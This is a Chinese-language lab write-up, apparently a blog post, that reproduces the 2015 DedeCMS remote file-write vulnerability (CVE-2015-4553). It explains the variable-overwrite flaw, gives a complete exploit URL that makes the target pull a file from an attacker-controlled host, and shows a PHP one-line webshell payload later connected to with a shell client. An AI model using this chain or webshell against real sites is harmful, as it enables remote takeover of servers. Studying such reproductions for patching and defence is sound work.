Dedecms织梦远程写文件漏洞

基本信息

漏洞编号:SSV-89354 CVE-ID:CVE-2015-4553 漏洞类别:变量覆盖 实验版本:dedecms
v5.7SP1(部分版本已修复) 利用条件:Apache,dedecms版本为v5.7SP且未修复,自备一台云主机
云主机ip:192.168.18.131
参考文章:http://blog.nsfocus.net/dedecms-write-file-vuln/
https://seclists.org/fulldisclosure/2015/Jun/47

2015年6月17日seclists网站上公布了Dedecms的一个远程getshell漏洞细节:官方已在2015年6月18日发布了修复版本。

Introduction:
========
dedecms Open source cms
Extensive application

Influence version 
Newest dedecms 5.7-sp1 and all old version

Remote getshell 

我测试了5.3版本,发现没有这个漏洞。后来测试了v5.7-SP1,发现我下载的这个版本已经修复了这个漏洞。后来我抱着试试运气的心态在网上找现存的靶机,访问这个存在漏洞的页面:http://xxxxx.com/install/index.php.bak,结果直接把这个页面下载下来了,打开一看,发现正好是有漏洞的代码。果断把这个文件替换本地的index.php.bak。然后就有后面的步骤。

前置知识

dedecms会把通过GET提交的参数转化为变量。

例如:打开localhost?test=hello world,然后代码就会生成一个$test变量,值为"hello world"。

Apache解析文件的流程:

当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个Apache认识的扩展名。如果所有的扩展名Apache都不认识,那么变会按照httpd.conf配置中所指定的方式展示这个问题,一般默认情况下是“text/plain”这种方式。

像1.php.bak这样的文件名就会被当做php文件所解析。这也就是传说中的Apache解析漏洞。

利用思路

  1. dedecms如果初始化过,就会生成一个文件**/install/install_lock.txt**,访问**/install/index.php.bak是首先判断/install/install_lock.txt是否存在,不存在则继续执行代码。我们得想办法让这个文件不存在,让index.php.bak**执行。
  2. 在执行**/install/index.php.bak时,如果$step==11会执行一句写文件的代码,其中文件名可控**,写的内容从远程获取,这个远程地址可控。把这个远程地址改成自己服务器,就可以把自己的文件内容再到目标服务器上。

代码分析

文件地址**/install/index.php.bak**,35行

if(file_exists($insLockfile))
{
    exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}

访问这个页面加上参数**?insLockfile=aa就可以跳过这里的exit()**函数,其中aa为任意值。

文件地址**/install/index.php.bak**,372行

else if($step==11)
{
   require_once('../data/admin/config_update.php');
   $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
   $sql_content = file_get_contents($rmurl);
   $fp = fopen($install_demo_name,'w');
   if(fwrite($fp,$sql_content))
      echo '&nbsp; <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
   else
      echo '&nbsp; <font color="red">[×]</font> 远程获取失败';
   unset($sql_content);
   fclose($fp);
   exit();
}

我们提交参数?updataHost=http://192.168.18.131/(注意地址后面的斜杠),$rumurl就会等于“http://192.168.18.131/dedecms/demodata.utf-8.txt”$s_lang等于utf-8gbk,可以在前端查看,在这里也可以传递一个参数把$s_lang覆盖)。同时提交参数?install_demo_name=./t.php,我们的利用代码就会写在/install/t.php中。

漏洞复现

1.配置dedecms
  1. 解压DedecmsV53-UTF8-Final并移入网站根目录。

  2. 打开首页,根据指引完成网站初始化。

    http://localhost/DedecmsV53-UTF8-Final/upload/
    
2.配置服务器

在自己的服务器上创建文件夹dedecms,本在这个文件下创建一个文件:demodata.utf-8.txt。在这个文件里写入一句话木马:<?php @eval($_GET[a]);?>.

在这里插入图片描述

在这里插入图片描述

3.写入木马

访问下面链接,下面浏览器是写入成功的样子。

http://localhost/DedeCMS-V5.7-UTF8-SP1/uploads/install/index.php.bak?insLockfile=a&step=11&install_demo_name=./t.php&updateHost=http://192.168.18.131/

在这里插入图片描述

其中insLockfile指定a,是因为a不存在,当insLockfile指定的文件不存在时程序就会认为没有初始化过,就会继续执行初始化代码。step是指定初始化的步骤,漏洞代码出现在第11步。install_demo_name是指定要写的文件,updateHost是指定要获取的远程的文件,并把这个文件的内容写在install_demo_name文件里。

4.成功

在这里插入图片描述

然后可以用菜刀连接,success!!!!

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

rpsate

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值